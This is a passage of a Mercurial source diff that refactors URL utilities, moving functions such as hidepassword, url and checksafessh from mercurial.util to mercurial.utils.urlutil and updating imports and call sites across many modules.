diff --git a/hgext/fetch.py b/hgext/fetch.py
--- a/hgext/fetch.py
+++ b/hgext/fetch.py
@@ -19,9 +19,11 @@
     lock,
     pycompat,
     registrar,
-    util,
 )
-from mercurial.utils import dateutil
+from mercurial.utils import (
+    dateutil,
+    urlutil,
+)
 
 release = lock.release
 cmdtable = {}
@@ -109,7 +111,8 @@
 
         other = hg.peer(repo, opts, ui.expandpath(source))
         ui.status(
-            _(b'pulling from %s\n') % util.hidepassword(ui.expandpath(source))
+            _(b'pulling from %s\n')
+            % urlutil.hidepassword(ui.expandpath(source))
         )
         revs = None
         if opts[b'rev']:
@@ -180,7 +183,7 @@
         if not err:
             # we don't translate commit messages
             message = cmdutil.logmessage(ui, opts) or (
-                b'Automated merge with %s' % util.removeauth(other.url())
+                b'Automated merge with %s' % urlutil.removeauth(other.url())
             )
             editopt = opts.get(b'edit') or opts.get(b'force_editor')
             editor = cmdutil.getcommiteditor(edit=editopt, editform=b'fetch')
diff --git a/hgext/histedit.py b/hgext/histedit.py
--- a/hgext/histedit.py
+++ b/hgext/histedit.py
@@ -242,6 +242,7 @@
 from mercurial.utils import (
     dateutil,
     stringutil,
+    urlutil,
 )
 
 pickle = util.pickle
@@ -1042,7 +1043,7 @@
         opts = {}
     dest = ui.expandpath(remote or b'default-push', remote or b'default')
     dest, branches = hg.parseurl(dest, None)[:2]
-    ui.status(_(b'comparing with %s\n') % util.hidepassword(dest))
+    ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest))
 
     revs, checkout = hg.addbranchrevs(repo, repo, branches, None)
     other = hg.peer(repo, opts, dest)
diff --git a/hgext/largefiles/basestore.py b/hgext/largefiles/basestore.py
--- a/hgext/largefiles/basestore.py
+++ b/hgext/largefiles/basestore.py
@@ -12,6 +12,9 @@
 from mercurial.i18n import _
 
 from mercurial import node, util
+from mercurial.utils import (
+    urlutil,
+)
 
 from . import lfutil
 
@@ -29,13 +32,13 @@
     def longmessage(self):
         return _(b"error getting id %s from url %s for file %s: %s\n") % (
             self.hash,
-            util.hidepassword(self.url),
+            urlutil.hidepassword(self.url),
             self.filename,
             self.detail,
         )
 
     def __str__(self):
-        return b"%s: %s" % (util.hidepassword(self.url), self.detail)
+        return b"%s: %s" % (urlutil.hidepassword(self.url), self.detail)
 
 
 class basestore(object):
@@ -79,7 +82,7 @@
                 if not available.get(hash):
                     ui.warn(
                         _(b'%s: largefile %s not available from %s\n')
-                        % (filename, hash, util.hidepassword(self.url))
+                        % (filename, hash, urlutil.hidepassword(self.url))
                     )
                     missing.append(filename)
                     continue
diff --git a/hgext/largefiles/remotestore.py b/hgext/largefiles/remotestore.py
--- a/hgext/largefiles/remotestore.py
+++ b/hgext/largefiles/remotestore.py
@@ -15,7 +15,10 @@
     util,
 )
 
-from mercurial.utils import stringutil
+from mercurial.utils import (
+    stringutil,
+    urlutil,
+)
 
 from . import (
     basestore,
@@ -40,11 +43,11 @@
         if self.sendfile(source, hash):
             raise error.Abort(
                 _(b'remotestore: could not put %s to remote store %s')
-                % (source, util.hidepassword(self.url))
+                % (source, urlutil.hidepassword(self.url))
             )
         self.ui.debug(
             _(b'remotestore: put %s to remote store %s\n')
-            % (source, util.hidepassword(self.url))
+            % (source, urlutil.hidepassword(self.url))
         )
 
     def exists(self, hashes):
@@ -80,7 +83,7 @@
             # keep trying with the other files... they will probably
             # all fail too.
             raise error.Abort(
-                b'%s: %s' % (util.hidepassword(self.url), e.reason)
+                b'%s: %s' % (urlutil.hidepassword(self.url), e.reason)
             )
         except IOError as e:
             raise basestore.StoreError(
diff --git a/hgext/largefiles/storefactory.py b/hgext/largefiles/storefactory.py
--- a/hgext/largefiles/storefactory.py
+++ b/hgext/largefiles/storefactory.py
@@ -12,6 +12,9 @@
     hg,
     util,
 )
+from mercurial.utils import (
+    urlutil,
+)
 
 from . import (
     lfutil,
@@ -71,7 +74,7 @@
 
     raise error.Abort(
         _(b'%s does not appear to be a largefile store')
-        % util.hidepassword(path)
+        % urlutil.hidepassword(path)
     )
 
 
diff --git a/hgext/lfs/blobstore.py b/hgext/lfs/blobstore.py
--- a/hgext/lfs/blobstore.py
+++ b/hgext/lfs/blobstore.py
@@ -31,7 +31,10 @@
     worker,
 )
 
-from mercurial.utils import stringutil
+from mercurial.utils import (
+    stringutil,
+    urlutil,
+)
 
 from ..largefiles import lfutil
 
@@ -725,7 +728,7 @@
     https://github.com/git-lfs/git-lfs/blob/master/docs/api/server-discovery.md
     """
     lfsurl = repo.ui.config(b'lfs', b'url')
-    url = util.url(lfsurl or b'')
+    url = urlutil.url(lfsurl or b'')
     if lfsurl is None:
         if remote:
             path = remote
@@ -739,7 +742,7 @@
             # and fall back to inferring from 'paths.remote' if unspecified.
             path = repo.ui.config(b'paths', b'default') or b''
 
-        defaulturl = util.url(path)
+        defaulturl = urlutil.url(path)
 
         # TODO: support local paths as well.
         # TODO: consider the ssh -> https transformation that git applies
@@ -748,7 +751,7 @@
                 defaulturl.path += b'/'
             defaulturl.path = (defaulturl.path or b'') + b'.git/info/lfs'
 
-            url = util.url(bytes(defaulturl))
+            url = urlutil.url(bytes(defaulturl))
             repo.ui.note(_(b'lfs: assuming remote store: %s\n') % url)
 
     scheme = url.scheme
diff --git a/hgext/mq.py b/hgext/mq.py
--- a/hgext/mq.py
+++ b/hgext/mq.py
@@ -108,6 +108,7 @@
 from mercurial.utils import (
     dateutil,
     stringutil,
+    urlutil,
 )
 
 release = lockmod.release
@@ -2509,7 +2510,7 @@
                     )
                 filename = normname(filename)
                 self.checkreservedname(filename)
-                if util.url(filename).islocal():
+                if urlutil.url(filename).islocal():
                     originpath = self.join(filename)
                     if not os.path.isfile(originpath):
                         raise error.Abort(
diff --git a/hgext/narrow/narrowcommands.py b/hgext/narrow/narrowcommands.py
--- a/hgext/narrow/narrowcommands.py
+++ b/hgext/narrow/narrowcommands.py
@@ -36,6 +36,9 @@
     util,
     wireprototypes,
 )
+from mercurial.utils import (
+    urlutil,
+)
 
 table = {}
 command = registrar.command(table)
@@ -592,7 +595,7 @@
         # also define the set of revisions to update for widening.
         remotepath = ui.expandpath(remotepath or b'default')
         url, branches = hg.parseurl(remotepath)
-        ui.status(_(b'comparing with %s\n') % util.hidepassword(url))
+        ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(url))
         remote = hg.peer(repo, opts, url)
 
         try:
diff --git a/hgext/patchbomb.py b/hgext/patchbomb.py
--- a/hgext/patchbomb.py
+++ b/hgext/patchbomb.py
@@ -99,7 +99,10 @@
     templater,
     util,
 )
-from mercurial.utils import dateutil
+from mercurial.utils import (
+    dateutil,
+    urlutil,
+)
 
 stringio = util.stringio
 
@@ -529,7 +532,7 @@
     ui = repo.ui
     url = ui.expandpath(dest or b'default-push', dest or b'default')
     url = hg.parseurl(url)[0]
-    ui.status(_(b'comparing with %s\n') % util.hidepassword(url))
+    ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(url))
 
     revs = [r for r in revs if r >= 0]
     if not revs:
diff --git a/hgext/phabricator.py b/hgext/phabricator.py
--- a/hgext/phabricator.py
+++ b/hgext/phabricator.py
@@ -103,6 +103,7 @@
 from mercurial.utils import (
     procutil,
     stringutil,
+    urlutil,
 )
 from . import show
 
@@ -366,7 +367,7 @@
                     process(k, v)
 
     process(b'', params)
-    return util.urlreq.urlencode(flatparams)
+    return urlutil.urlreq.urlencode(flatparams)
 
 
 def readurltoken(ui):
@@ -381,7 +382,7 @@
             _(b'config %s.%s is required') % (b'phabricator', b'url')
         )
 
-    res = httpconnectionmod.readauthforuri(ui, url, util.url(url).user)
+    res = httpconnectionmod.readauthforuri(ui, url, urlutil.url(url).user)
     token = None
 
     if res:
diff --git a/hgext/schemes.py b/hgext/schemes.py
--- a/hgext/schemes.py
+++ b/hgext/schemes.py
@@ -52,7 +52,9 @@
     pycompat,
     registrar,
     templater,
-    util,
+)
+from mercurial.utils import (
+    urlutil,
 )
 
 cmdtable = {}
@@ -86,7 +88,7 @@
         )
 
     def resolve(self, url):
-        # Should this use the util.url class, or is manual parsing better?
+        # Should this use the urlutil.url class, or is manual parsing better?
         try:
             url = url.split(b'://', 1)[1]
         except IndexError:
@@ -137,7 +139,7 @@
             )
         hg.schemes[scheme] = ShortRepository(url, scheme, t)
 
-    extensions.wrapfunction(util, b'hasdriveletter', hasdriveletter)
+    extensions.wrapfunction(urlutil, b'hasdriveletter', hasdriveletter)
 
 
 @command(b'debugexpandscheme', norepo=True)
diff --git a/mercurial/bookmarks.py b/mercurial/bookmarks.py
--- a/mercurial/bookmarks.py
+++ b/mercurial/bookmarks.py
@@ -27,6 +27,9 @@
     txnutil,
     util,
 )
+from .utils import (
+    urlutil,
+)
 
 # label constants
 # until 3.5, bookmarks.current was the advertised name, not
@@ -597,10 +600,10 @@
     # try to use an @pathalias suffix
     # if an @pathalias already exists, we overwrite (update) it
     if path.startswith(b"file:"):
-        path = util.url(path).path
+        path = urlutil.url(path).path
     for p, u in ui.configitems(b"paths"):
         if u.startswith(b"file:"):
-            u = util.url(u).path
+            u = urlutil.url(u).path
         if path == u:
             return b'%s@%s' % (b, p)
 
diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -177,7 +177,10 @@
     url,
     util,
 )
-from .utils import stringutil
+from .utils import (
+    stringutil,
+    urlutil,
+)
 
 urlerr = util.urlerr
 urlreq = util.urlreq
@@ -2073,7 +2076,7 @@
         raw_url = inpart.params[b'url']
     except KeyError:
         raise error.Abort(_(b'remote-changegroup: missing "%s" param') % b'url')
-    parsed_url = util.url(raw_url)
+    parsed_url = urlutil.url(raw_url)
     if parsed_url.scheme not in capabilities[b'remote-changegroup']:
         raise error.Abort(
             _(b'remote-changegroup does not support %s urls')
@@ -2110,7 +2113,7 @@
     cg = exchange.readbundle(op.repo.ui, real_part, raw_url)
     if not isinstance(cg, changegroup.cg1unpacker):
         raise error.Abort(
-            _(b'%s: not a bundle version 1.0') % util.hidepassword(raw_url)
+            _(b'%s: not a bundle version 1.0') % urlutil.hidepassword(raw_url)
         )
     ret = _processchangegroup(op, cg, tr, op.source, b'bundle2')
     if op.reply is not None:
@@ -2126,7 +2129,7 @@
     except error.Abort as e:
         raise error.Abort(
             _(b'bundle at %s is corrupted:\n%s')
-            % (util.hidepassword(raw_url), e.message)
+            % (urlutil.hidepassword(raw_url), e.message)
         )
     assert not inpart.read()
 
diff --git a/mercurial/bundlerepo.py b/mercurial/bundlerepo.py
--- a/mercurial/bundlerepo.py
+++ b/mercurial/bundlerepo.py
@@ -43,6 +43,9 @@
     util,
     vfs as vfsmod,
 )
+from .utils import (
+    urlutil,
+)
 
 
 class bundlerevlog(revlog.revlog):
@@ -475,7 +478,7 @@
             cwd = pathutil.normasprefix(cwd)
             if parentpath.startswith(cwd):
                 parentpath = parentpath[len(cwd) :]
-    u = util.url(path)
+    u = urlutil.url(path)
     path = u.localpath()
     if u.scheme == b'bundle':
         s = path.split(b"+", 1)
diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -74,6 +74,7 @@
 from .utils import (
     dateutil,
     stringutil,
+    urlutil,
 )
 
 if pycompat.TYPE_CHECKING:
@@ -4319,7 +4320,7 @@
                 ui.warn(_(b"remote doesn't support bookmarks\n"))
                 return 0
             ui.pager(b'incoming')
-            ui.status(_(b'comparing with %s\n') % util.hidepassword(source))
+            ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(source))
             return bookmarks.incoming(ui, repo, other)
         finally:
             other.close()
@@ -4994,7 +4995,7 @@
             if b'bookmarks' not in other.listkeys(b'namespaces'):
                 ui.warn(_(b"remote doesn't support bookmarks\n"))
                 return 0
-            ui.status(_(b'comparing with %s\n') % util.hidepassword(dest))
+            ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest))
             ui.pager(b'outgoing')
             return bookmarks.outgoing(ui, repo, other)
         finally:
@@ -5142,7 +5143,7 @@
 
     fm = ui.formatter(b'paths', opts)
     if fm.isplain():
-        hidepassword = util.hidepassword
+        hidepassword = urlutil.hidepassword
     else:
         hidepassword = bytes
     if ui.quiet:
@@ -5392,7 +5393,7 @@
         source, branches = hg.parseurl(
             ui.expandpath(source), opts.get(b'branch')
         )
-        ui.status(_(b'pulling from %s\n') % util.hidepassword(source))
+        ui.status(_(b'pulling from %s\n') % urlutil.hidepassword(source))
         ui.flush()
         other = hg.peer(repo, opts, source)
         update_conflict = None
@@ -5732,7 +5733,7 @@
             )
         dest = path.pushloc or path.loc
         branches = (path.branch, opts.get(b'branch') or [])
-        ui.status(_(b'pushing to %s\n') % util.hidepassword(dest))
+        ui.status(_(b'pushing to %s\n') % urlutil.hidepassword(dest))
         revs, checkout = hg.addbranchrevs(
             repo, repo, branches, opts.get(b'rev')
         )
@@ -7235,7 +7236,7 @@
         revs, checkout = hg.addbranchrevs(repo, other, branches, None)
         if revs:
             revs = [other.lookup(rev) for rev in revs]
-        ui.debug(b'comparing with %s\n' % util.hidepassword(source))
+        ui.debug(b'comparing with %s\n' % urlutil.hidepassword(source))
         repo.ui.pushbuffer()
         commoninc = discovery.findcommonincoming(repo, other, heads=revs)
         repo.ui.popbuffer()
@@ -7257,7 +7258,7 @@
                 if opts.get(b'remote'):
                     raise
                 return dest, dbranch, None, None
-            ui.debug(b'comparing with %s\n' % util.hidepassword(dest))
+            ui.debug(b'comparing with %s\n' % urlutil.hidepassword(dest))
         elif sother is None:
             # there is no explicit destination peer, but source one is invalid
             return dest, dbranch, None, None
@@ -7599,7 +7600,7 @@
             try:
                 txnname = b'unbundle'
                 if not isinstance(gen, bundle2.unbundle20):
-                    txnname = b'unbundle\n%s' % util.hidepassword(url)
+                    txnname = b'unbundle\n%s' % urlutil.hidepassword(url)
                 with repo.transaction(txnname) as tr:
                     op = bundle2.applybundle(
                         repo, gen, tr, source=b'unbundle', url=url
diff --git a/mercurial/debugcommands.py b/mercurial/debugcommands.py
--- a/mercurial/debugcommands.py
+++ b/mercurial/debugcommands.py
@@ -98,6 +98,7 @@
     dateutil,
     procutil,
     stringutil,
+    urlutil,
 )
 
 from .revlogutils import (
@@ -1061,7 +1062,7 @@
 
         remoteurl, branches = hg.parseurl(ui.expandpath(remoteurl))
         remote = hg.peer(repo, opts, remoteurl)
-        ui.status(_(b'comparing with %s\n') % util.hidepassword(remoteurl))
+        ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(remoteurl))
     else:
         branches = (None, [])
         remote_filtered_revs = scmutil.revrange(
@@ -3652,7 +3653,7 @@
         source = b"default"
 
     source, branches = hg.parseurl(ui.expandpath(source))
-    url = util.url(source)
+    url = urlutil.url(source)
 
     defaultport = {b'https': 443, b'ssh': 22}
     if url.scheme in defaultport:
@@ -4525,7 +4526,7 @@
         # We bypass hg.peer() so we can proxy the sockets.
         # TODO consider not doing this because we skip
         # ``hg.wirepeersetupfuncs`` and potentially other useful functionality.
-        u = util.url(path)
+        u = urlutil.url(path)
         if u.scheme != b'http':
             raise error.Abort(_(b'only http:// paths are currently supported'))
 
diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -42,6 +42,7 @@
 from .utils import (
     hashutil,
     stringutil,
+    urlutil,
 )
 
 urlerr = util.urlerr
@@ -1465,7 +1466,7 @@
     def transaction(self):
         """Return an open transaction object, constructing if necessary"""
         if not self._tr:
-            trname = b'%s\n%s' % (self.source, util.hidepassword(self.url))
+            trname = b'%s\n%s' % (self.source, urlutil.hidepassword(self.url))
             self._tr = self.repo.transaction(trname)
             self._tr.hookargs[b'source'] = self.source
             self._tr.hookargs[b'url'] = self.url
@@ -2647,7 +2648,7 @@
         # push can proceed
         if not isinstance(cg, bundle2.unbundle20):
             # legacy case: bundle1 (changegroup 01)
-            txnname = b"\n".join([source, util.hidepassword(url)])
+            txnname = b"\n".join([source, urlutil.hidepassword(url)])
             with repo.lock(), repo.transaction(txnname) as tr:
                 op = bundle2.applybundle(repo, cg, tr, source, url)
                 r = bundle2.combinechangegroupresults(op)
diff --git a/mercurial/hg.py b/mercurial/hg.py
--- a/mercurial/hg.py
+++ b/mercurial/hg.py
@@ -55,6 +55,7 @@
 from .utils import (
     hashutil,
     stringutil,
+    urlutil,
 )
 
 
@@ -65,7 +66,7 @@
 
 
 def _local(path):
-    path = util.expandpath(util.urllocalpath(path))
+    path = util.expandpath(urlutil.urllocalpath(path))
 
     try:
         # we use os.stat() directly here instead of os.path.isfile()
@@ -132,7 +133,7 @@
 def parseurl(path, branches=None):
     '''parse url#branch, returning (url, (branch, branches))'''
 
-    u = util.url(path)
+    u = urlutil.url(path)
     branch = None
     if u.fragment:
         branch = u.fragment
@@ -152,7 +153,7 @@
 
 
 def _peerlookup(path):
-    u = util.url(path)
+    u = urlutil.url(path)
     scheme = u.scheme or b'file'
     thing = schemes.get(scheme) or schemes[b'file']
     try:
@@ -177,7 +178,7 @@
 
 def openpath(ui, path, sendaccept=True):
     '''open path with open if local, url.open if remote'''
-    pathurl = util.url(path, parsequery=False, parsefragment=False)
+    pathurl = urlutil.url(path, parsequery=False, parsefragment=False)
     if pathurl.islocal():
         return util.posixfile(pathurl.localpath(), b'rb')
     else:
@@ -265,7 +266,7 @@
     >>> defaultdest(b'http://example.org/foo/')
     'foo'
     """
-    path = util.url(source).path
+    path = urlutil.url(source).path
     if not path:
         return b''
     return os.path.basename(os.path.normpath(path))
@@ -571,7 +572,7 @@
 
     # Resolve the value to put in [paths] section for the source.
     if islocal(source):
-        defaultpath = os.path.abspath(util.urllocalpath(source))
+        defaultpath = os.path.abspath(urlutil.urllocalpath(source))
     else:
         defaultpath = source
 
@@ -693,8 +694,8 @@
         else:
             dest = ui.expandpath(dest)
 
-        dest = util.urllocalpath(dest)
-        source = util.urllocalpath(source)
+        dest = urlutil.urllocalpath(dest)
+        source = urlutil.urllocalpath(source)
 
         if not dest:
             raise error.InputError(_(b"empty destination path is not valid"))
@@ -825,7 +826,7 @@
 
         abspath = origsource
         if islocal(origsource):
-            abspath = os.path.abspath(util.urllocalpath(origsource))
+            abspath = os.path.abspath(urlutil.urllocalpath(origsource))
 
         if islocal(dest):
             cleandir = dest
@@ -939,7 +940,7 @@
                         local.setnarrowpats(storeincludepats, storeexcludepats)
                         narrowspec.copytoworkingcopy(local)
 
-                u = util.url(abspath)
+                u = urlutil.url(abspath)
                 defaulturl = bytes(u)
                 local.ui.setconfig(b'paths', b'default', defaulturl, b'clone')
                 if not stream:
@@ -986,7 +987,7 @@
         destrepo = destpeer.local()
         if destrepo:
             template = uimod.samplehgrcs[b'cloned']
-            u = util.url(abspath)
+            u = urlutil.url(abspath)
             u.passwd = None
             defaulturl = bytes(u)
             destrepo.vfs.write(b'hgrc', util.tonativeeol(template % defaulturl))
@@ -1269,7 +1270,7 @@
     other = peer(repo, opts, source)
     cleanupfn = other.close
     try:
-        ui.status(_(b'comparing with %s\n') % util.hidepassword(source))
+        ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(source))
         revs, checkout = addbranchrevs(repo, other, branches, opts.get(b'rev'))
 
         if revs:
@@ -1330,7 +1331,7 @@
     dest = path.pushloc or path.loc
     branches = path.branch, opts.get(b'branch') or []
 
-    ui.status(_(b'comparing with %s\n') % util.hidepassword(dest))
+    ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest))
     revs, checkout = addbranchrevs(repo, repo, branches, opts.get(b'rev'))
     if revs:
         revs = [repo[rev].node() for rev in scmutil.revrange(repo, revs)]
diff --git a/mercurial/hgweb/request.py b/mercurial/hgweb/request.py
--- a/mercurial/hgweb/request.py
+++ b/mercurial/hgweb/request.py
@@ -17,6 +17,9 @@
     pycompat,
     util,
 )
+from ..utils import (
+    urlutil,
+)
 
 
 class multidict(object):
@@ -184,7 +187,7 @@
         reponame = env.get(b'REPO_NAME')
 
     if altbaseurl:
-        altbaseurl = util.url(altbaseurl)
+        altbaseurl = urlutil.url(altbaseurl)
 
     # https://www.python.org/dev/peps/pep-0333/#environ-variables defines
     # the environment variables.
diff --git a/mercurial/hgweb/server.py b/mercurial/hgweb/server.py
--- a/mercurial/hgweb/server.py
+++ b/mercurial/hgweb/server.py
@@ -28,6 +28,9 @@
     pycompat,
     util,
 )
+from ..utils import (
+    urlutil,
+)
 
 httpservermod = util.httpserver
 socketserver = util.socketserver
@@ -431,7 +434,7 @@
         sys.setdefaultencoding(oldenc)
 
     address = ui.config(b'web', b'address')
-    port = util.getport(ui.config(b'web', b'port'))
+    port = urlutil.getport(ui.config(b'web', b'port'))
     try:
         return cls(ui, app, (address, port), handler)
     except socket.error as inst:
diff --git a/mercurial/httpconnection.py b/mercurial/httpconnection.py
--- a/mercurial/httpconnection.py
+++ b/mercurial/httpconnection.py
@@ -18,6 +18,10 @@
     pycompat,
     util,
 )
+from .utils import (
+    urlutil,
+)
+
 
 urlerr = util.urlerr
 urlreq = util.urlreq
@@ -99,7 +103,7 @@
         if not prefix:
             continue
 
-        prefixurl = util.url(prefix)
+        prefixurl = urlutil.url(prefix)
         if prefixurl.user and prefixurl.user != user:
             # If a username was set in the prefix, it must match the username in
             # the URI.
diff --git a/mercurial/httppeer.py b/mercurial/httppeer.py
--- a/mercurial/httppeer.py
+++ b/mercurial/httppeer.py
@@ -38,6 +38,7 @@
 from .utils import (
     cborutil,
     stringutil,
+    urlutil,
 )
 
 httplib = util.httplib
@@ -305,7 +306,7 @@
     except httplib.HTTPException as inst:
         ui.debug(
             b'http error requesting %s\n'
-            % util.hidepassword(req.get_full_url())
+            % urlutil.hidepassword(req.get_full_url())
         )
         ui.traceback()
         raise IOError(None, inst)
@@ -352,14 +353,14 @@
     except AttributeError:
         proto = pycompat.bytesurl(resp.headers.get('content-type', ''))
 
-    safeurl = util.hidepassword(baseurl)
+    safeurl = urlutil.hidepassword(baseurl)
     if proto.startswith(b'application/hg-error'):
         raise error.OutOfBandError(resp.read())
 
     # Pre 1.0 versions of Mercurial used text/plain and
     # application/hg-changegroup. We don't support such old servers.
     if not proto.startswith(b'application/mercurial-'):
-        ui.debug(b"requested URL: '%s'\n" % util.hidepassword(requrl))
+        ui.debug(b"requested URL: '%s'\n" % urlutil.hidepassword(requrl))
         msg = _(
             b"'%s' does not appear to be an hg repository:\n"
             b"---%%<--- (%s)\n%s\n---%%<---\n"
@@ -1058,7 +1059,7 @@
     ``requestbuilder`` is the type used for constructing HTTP requests.
     It exists as an argument so extensions can override the default.
     """
-    u = util.url(path)
+    u = urlutil.url(path)
     if u.query or u.fragment:
         raise error.Abort(
             _(b'unsupported URL component: "%s"') % (u.query or u.fragment)
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -85,6 +85,7 @@
     hashutil,
     procutil,
     stringutil,
+    urlutil,
 )
 
 from .revlogutils import (
@@ -3404,7 +3405,7 @@
 
 
 def instance(ui, path, create, intents=None, createopts=None):
-    localpath = util.urllocalpath(path)
+    localpath = urlutil.urllocalpath(path)
     if create:
         createrepository(ui, localpath, createopts=createopts)
 
diff --git a/mercurial/logexchange.py b/mercurial/logexchange.py
--- a/mercurial/logexchange.py
+++ b/mercurial/logexchange.py
@@ -15,6 +15,9 @@
     util,
     vfs as vfsmod,
 )
+from .utils import (
+    urlutil,
+)
 
 # directory name in .hg/ in which remotenames files will be present
 remotenamedir = b'logexchange'
@@ -117,7 +120,7 @@
     # represent the remotepath with user defined path name if exists
     for path, url in repo.ui.configitems(b'paths'):
         # remove auth info from user defined url
-        noauthurl = util.removeauth(url)
+        noauthurl = urlutil.removeauth(url)
 
         # Standardize on unix style paths, otherwise some {remotenames} end up
         # being an absolute path on Windows.
diff --git a/mercurial/mail.py b/mercurial/mail.py
--- a/mercurial/mail.py
+++ b/mercurial/mail.py
@@ -34,6 +34,7 @@
 from .utils import (
     procutil,
     stringutil,
+    urlutil,
 )
 
 if pycompat.TYPE_CHECKING:
@@ -139,7 +140,7 @@
         defaultport = 465
     else:
         defaultport = 25
-    mailport = util.getport(ui.config(b'smtp', b'port', defaultport))
+    mailport = urlutil.getport(ui.config(b'smtp', b'port', defaultport))
     ui.note(_(b'sending mail: smtp host %s, port %d\n') % (mailhost, mailport))
     s.connect(host=mailhost, port=mailport)
     if starttls:
diff --git a/mercurial/repair.py b/mercurial/repair.py
--- a/mercurial/repair.py
+++ b/mercurial/repair.py
@@ -28,11 +28,11 @@
     pycompat,
     requirements,
     scmutil,
-    util,
 )
 from .utils import (
     hashutil,
     stringutil,
+    urlutil,
 )
 
 
@@ -245,7 +245,7 @@
                 tmpbundleurl = b'bundle:' + vfs.join(tmpbundlefile)
                 txnname = b'strip'
                 if not isinstance(gen, bundle2.unbundle20):
-                    txnname = b"strip\n%s" % util.hidepassword(tmpbundleurl)
+                    txnname = b"strip\n%s" % urlutil.hidepassword(tmpbundleurl)
                 with repo.transaction(txnname) as tr:
                     bundle2.applybundle(
                         repo, gen, tr, source=b'strip', url=tmpbundleurl
diff --git a/mercurial/server.py b/mercurial/server.py
--- a/mercurial/server.py
+++ b/mercurial/server.py
@@ -22,7 +22,10 @@
     util,
 )
 
-from .utils import procutil
+from .utils import (
+    procutil,
+    urlutil,
+)
 
 
 def runservice(
@@ -184,7 +187,7 @@
 def _createhgwebservice(ui, repo, opts):
     # this way we can check if something was given in the command-line
     if opts.get(b'port'):
-        opts[b'port'] = util.getport(opts.get(b'port'))
+        opts[b'port'] = urlutil.getport(opts.get(b'port'))
 
     alluis = {ui}
     if repo:
diff --git a/mercurial/sshpeer.py b/mercurial/sshpeer.py
--- a/mercurial/sshpeer.py
+++ b/mercurial/sshpeer.py
@@ -24,6 +24,7 @@
 from .utils import (
     procutil,
     stringutil,
+    urlutil,
 )
 
 
@@ -662,11 +663,11 @@
 
     The returned object conforms to the ``wireprotov1peer.wirepeer`` interface.
     """
-    u = util.url(path, parsequery=False, parsefragment=False)
+    u = urlutil.url(path, parsequery=False, parsefragment=False)
     if u.scheme != b'ssh' or not u.host or u.path is None:
         raise error.RepoError(_(b"couldn't parse location %s") % path)
 
-    util.checksafessh(path)
+    urlutil.checksafessh(path)
 
     if u.passwd is not None:
         raise error.RepoError(_(b'password in URL not supported'))
diff --git a/mercurial/statichttprepo.py b/mercurial/statichttprepo.py
--- a/mercurial/statichttprepo.py
+++ b/mercurial/statichttprepo.py
@@ -26,6 +26,9 @@
     util,
     vfs as vfsmod,
 )
+from .utils import (
+    urlutil,
+)
 
 urlerr = util.urlerr
 urlreq = util.urlreq
@@ -162,7 +165,7 @@
         self.ui = ui
 
         self.root = path
-        u = util.url(path.rstrip(b'/') + b"/.hg")
+        u = urlutil.url(path.rstrip(b'/') + b"/.hg")
         self.path, authinfo = u.authinfo()
 
         vfsclass = build_opener(ui, authinfo)
diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py
--- a/mercurial/subrepo.py
+++ b/mercurial/subrepo.py
@@ -44,6 +44,7 @@
     dateutil,
     hashutil,
     procutil,
+    urlutil,
 )
 
 hg = None
@@ -57,8 +58,8 @@
     """
     get a path or url and if it is a path expand it and return an absolute path
     """
-    expandedpath = util.urllocalpath(util.expandpath(path))
-    u = util.url(expandedpath)
+    expandedpath = urlutil.urllocalpath(util.expandpath(path))
+    u = urlutil.url(expandedpath)
     if not u.scheme:
         path = util.normpath(os.path.abspath(u.path))
     return path
@@ -745,7 +746,7 @@
 
                 self.ui.status(
                     _(b'cloning subrepo %s from %s\n')
-                    % (subrelpath(self), util.hidepassword(srcurl))
+                    % (subrelpath(self), urlutil.hidepassword(srcurl))
                 )
                 peer = getpeer()
                 try:
@@ -765,7 +766,7 @@
         else:
             self.ui.status(
                 _(b'pulling subrepo %s from %s\n')
-                % (subrelpath(self), util.hidepassword(srcurl))
+                % (subrelpath(self), urlutil.hidepassword(srcurl))
             )
             cleansub = self.storeclean(srcurl)
             peer = getpeer()
@@ -849,12 +850,12 @@
             if self.storeclean(dsturl):
                 self.ui.status(
                     _(b'no changes made to subrepo %s since last push to %s\n')
-                    % (subrelpath(self), util.hidepassword(dsturl))
+                    % (subrelpath(self), urlutil.hidepassword(dsturl))
                 )
                 return None
         self.ui.status(
             _(b'pushing subrepo %s to %s\n')
-            % (subrelpath(self), util.hidepassword(dsturl))
+            % (subrelpath(self), urlutil.hidepassword(dsturl))
         )
         other = hg.peer(self._repo, {b'ssh': ssh}, dsturl)
         try:
@@ -1284,7 +1285,7 @@
         args.append(b'%s@%s' % (state[0], state[1]))
 
         # SEC: check that the ssh url is safe
-        util.checksafessh(state[0])
+        urlutil.checksafessh(state[0])
 
         status, err = self._svncommand(args, failok=True)
         _sanitize(self.ui, self.wvfs, b'.svn')
@@ -1582,7 +1583,7 @@
     def _fetch(self, source, revision):
         if self._gitmissing():
             # SEC: check for safe ssh url
-            util.checksafessh(source)
+            urlutil.checksafessh(source)
 
             source = self._abssource(source)
             self.ui.status(
diff --git a/mercurial/subrepoutil.py b/mercurial/subrepoutil.py
--- a/mercurial/subrepoutil.py
+++ b/mercurial/subrepoutil.py
@@ -23,7 +23,10 @@
     pycompat,
     util,
 )
-from .utils import stringutil
+from .utils import (
+    stringutil,
+    urlutil,
+)
 
 nullstate = (b'', b'', b'empty')
 
@@ -136,10 +139,10 @@
             kind = kind[1:]
             src = src.lstrip()  # strip any extra whitespace after ']'
 
-        if not util.url(src).isabs():
+        if not urlutil.url(src).isabs():
             parent = _abssource(repo, abort=False)
             if parent:
-                parent = util.url(parent)
+                parent = urlutil.url(parent)
                 parent.path = posixpath.join(parent.path or b'', src)
                 parent.path = posixpath.normpath(parent.path)
                 joined = bytes(parent)
@@ -400,13 +403,13 @@
